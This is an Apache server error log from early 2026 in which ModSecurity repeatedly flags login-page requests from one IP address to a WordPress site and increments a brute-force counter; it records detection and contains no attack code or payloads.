[Sun Mar 01 11:23:52.165270 2026] [:error] [pid 35060:tid 35063] [client 85.11.167.108:64593] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxSJL8JPoS_tq-tiUImwAAA0E"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:23:55.073483 2026] [:error] [pid 35060:tid 35062] [client 85.11.167.108:16627] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxS5L8JPoS_tq-tiUIqwAAA0A"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:24:04.239171 2026] [:error] [pid 35350:tid 35370] [client 85.11.167.108:23414] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxVIqZbPJ_JGYY1RT7SgAAA5I"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:24:07.328216 2026] [:error] [pid 35060:tid 35063] [client 85.11.167.108:30942] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxV5L8JPoS_tq-tiUI0AAAA0E"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:24:16.552181 2026] [:error] [pid 33976:tid 33999] [client 85.11.167.108:37465] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxYAUyU3c4Xm_xpMTFgAAAAlU"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:24:19.381328 2026] [:error] [pid 33976:tid 33992] [client 85.11.167.108:44864] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxYwUyU3c4Xm_xpMTFggAAAk4"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:24:28.180705 2026] [:error] [pid 33539:tid 33546] [client 85.11.167.108:51179] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxbNCsLwBYg4s018u-FgAAAcE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:24:30.956586 2026] [:error] [pid 35060:tid 35063] [client 85.11.167.108:58214] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxbpL8JPoS_tq-tiUJDAAAA0E"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:24:39.835813 2026] [:error] [pid 34552:tid 34576] [client 85.11.167.108:64783] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxd3BlU_DRqGi4yvsUuwAAAtU"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:24:42.725825 2026] [:error] [pid 24576:tid 24604] [client 85.11.167.108:16640] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxeovfb5CnctJh071HLwAAARg"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:24:51.716142 2026] [:error] [pid 35350:tid 35370] [client 85.11.167.108:23266] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxg4qZbPJ_JGYY1RT7qwAAA5I"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:24:54.562166 2026] [:error] [pid 33976:tid 33988] [client 85.11.167.108:30975] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxhgUyU3c4Xm_xpMTFpwAAAko"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:25:03.681975 2026] [:error] [pid 34552:tid 34566] [client 85.11.167.108:37893] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxj3BlU_DRqGi4yvsU-gAAAss"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:25:06.527452 2026] [:error] [pid 33976:tid 33978] [client 85.11.167.108:45323] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxkgUyU3c4Xm_xpMTFyAAAAkA"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:25:15.804350 2026] [:error] [pid 34552:tid 34579] [client 85.11.167.108:52387] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxm3BlU_DRqGi4yvsVJgAAAtg"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:25:18.789238 2026] [:error] [pid 35350:tid 35365] [client 85.11.167.108:60145] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxnoqZbPJ_JGYY1RT8LQAAA40"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:25:28.199476 2026] [:error] [pid 35350:tid 35372] [client 85.11.167.108:11854] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxqIqZbPJ_JGYY1RT8VgAAA5Q"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:25:31.023008 2026] [:error] [pid 24576:tid 24600] [client 85.11.167.108:19453] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxq4vfb5CnctJh071HhgAAARQ"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:25:39.815277 2026] [:error] [pid 33976:tid 33993] [client 85.11.167.108:26144] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxswUyU3c4Xm_xpMTF8gAAAk8"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:25:42.677582 2026] [:error] [pid 34785:tid 34798] [client 85.11.167.108:33399] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxtoC4dBNEGEcJx-ODUgAAAws"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:25:51.488171 2026] [:error] [pid 35654:tid 35681] [client 85.11.167.108:39957] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxv0IPeuEwCTirofKNrQAAA9c"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:25:54.306480 2026] [:error] [pid 24576:tid 24582] [client 85.11.167.108:47209] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxwovfb5CnctJh071HmgAAAQM"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:26:03.166328 2026] [:error] [pid 34785:tid 34794] [client 85.11.167.108:53585] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxy4C4dBNEGEcJx-ODcAAAAwc"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:26:05.973547 2026] [:error] [pid 34785:tid 34788] [client 85.11.167.108:60494] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxzYC4dBNEGEcJx-ODeAAAAwE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:26:14.841610 2026] [:error] [pid 34785:tid 34788] [client 85.11.167.108:11183] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOx1oC4dBNEGEcJx-ODiQAAAwE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:26:17.713260 2026] [:error] [pid 21158:tid 21213] [client 85.11.167.108:18167] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOx2TriSIe3-pWnbPYLVQAAAFQ"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:26:26.193443 2026] [:error] [pid 35060:tid 35063] [client 85.11.167.108:24852] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOx4pL8JPoS_tq-tiUKHAAAA0E"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:26:29.080173 2026] [:error] [pid 35654:tid 35681] [client 85.11.167.108:31135] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOx5UIPeuEwCTirofKOLAAAA9c"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:26:38.180465 2026] [:error] [pid 21156:tid 21166] [client 85.11.167.108:37488] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOx7qsaG_9IkG8N2p0PogAAAAA"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:26:41.131345 2026] [:error] [pid 34552:tid 34555] [client 85.11.167.108:44936] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOx8XBlU_DRqGi4yvsWBgAAAsA"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:26:49.990242 2026] [:error] [pid 35060:tid 35075] [client 85.11.167.108:51421] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOx-ZL8JPoS_tq-tiUKTwAAA00"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:26:52.790717 2026] [:error] [pid 35060:tid 35079] [client 85.11.167.108:58559] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOx_JL8JPoS_tq-tiUKVQAAA1E"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:27:07.394598 2026] [:error] [pid 33767:tid 33785] [client 85.11.167.108:16907] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyC0GyeKe3MWsxvBgSBQAAAg8"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:27:10.207884 2026] [:error] [pid 34785:tid 34807] [client 85.11.167.108:23079] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyDoC4dBNEGEcJx-OD9gAAAxQ"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:27:19.078256 2026] [:error] [pid 33767:tid 33785] [client 85.11.167.108:29477] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyF0GyeKe3MWsxvBgSDgAAAg8"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:27:22.068550 2026] [:error] [pid 34552:tid 34565] [client 85.11.167.108:36444] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyGnBlU_DRqGi4yvsWPwAAAso"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:27:31.077353 2026] [:error] [pid 33767:tid 33786] [client 85.11.167.108:42932] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyI0GyeKe3MWsxvBgSFAAAAhA"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:27:33.879095 2026] [:error] [pid 35350:tid 35364] [client 85.11.167.108:49853] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyJYqZbPJ_JGYY1RT90wAAA4w"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:27:42.786001 2026] [:error] [pid 21156:tid 21184] [client 85.11.167.108:56130] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyLqsaG_9IkG8N2p0QEgAAABI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:27:45.760188 2026] [:error] [pid 21156:tid 21178] [client 85.11.167.108:63264] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyMasaG_9IkG8N2p0QFwAAAAw"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:27:55.356579 2026] [:error] [pid 35654:tid 35658] [client 85.11.167.108:15285] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyO0IPeuEwCTirofKO5AAAA8A"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:27:58.309295 2026] [:error] [pid 34552:tid 34576] [client 85.11.167.108:22468] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyPnBlU_DRqGi4yvsWcwAAAtU"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:28:08.584425 2026] [:error] [pid 35654:tid 35661] [client 85.11.167.108:30468] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOySEIPeuEwCTirofKPAgAAA8M"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:28:11.504945 2026] [:error] [pid 34552:tid 34565] [client 85.11.167.108:37512] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyS3BlU_DRqGi4yvsWpQAAAso"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:28:20.715496 2026] [:error] [pid 35060:tid 35083] [client 85.11.167.108:44163] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyVJL8JPoS_tq-tiULEAAAA1U"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:28:23.727608 2026] [:error] [pid 35060:tid 35075] [client 85.11.167.108:51185] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyV5L8JPoS_tq-tiULEwAAA00"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:28:33.054791 2026] [:error] [pid 35350:tid 35355] [client 85.11.167.108:57735] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyYYqZbPJ_JGYY1RT-cAAAA4M"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:28:35.890640 2026] [:error] [pid 34552:tid 34573] [client 85.11.167.108:64597] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyY3BlU_DRqGi4yvsW7AAAAtI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:28:44.963165 2026] [:error] [pid 34552:tid 34574] [client 85.11.167.108:15423] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOybHBlU_DRqGi4yvsXAAAAAtM"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:28:48.233762 2026] [:error] [pid 34552:tid 34565] [client 85.11.167.108:22955] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOycHBlU_DRqGi4yvsXCgAAAso"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:28:57.604711 2026] [:error] [pid 35654:tid 35663] [client 85.11.167.108:29862] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyeUIPeuEwCTirofKPgQAAA8U"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:29:00.502866 2026] [:error] [pid 35350:tid 35359] [client 85.11.167.108:37333] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyfIqZbPJ_JGYY1RT-zQAAA4c"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:29:09.582071 2026] [:error] [pid 35654:tid 35663] [client 85.11.167.108:44023] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyhUIPeuEwCTirofKP-wAAA8U"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:29:12.458191 2026] [:error] [pid 34785:tid 34788] [client 85.11.167.108:51458] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyiIC4dBNEGEcJx-OE4QAAAwE"], referer: http://vetstars.com.au/wp-login.php
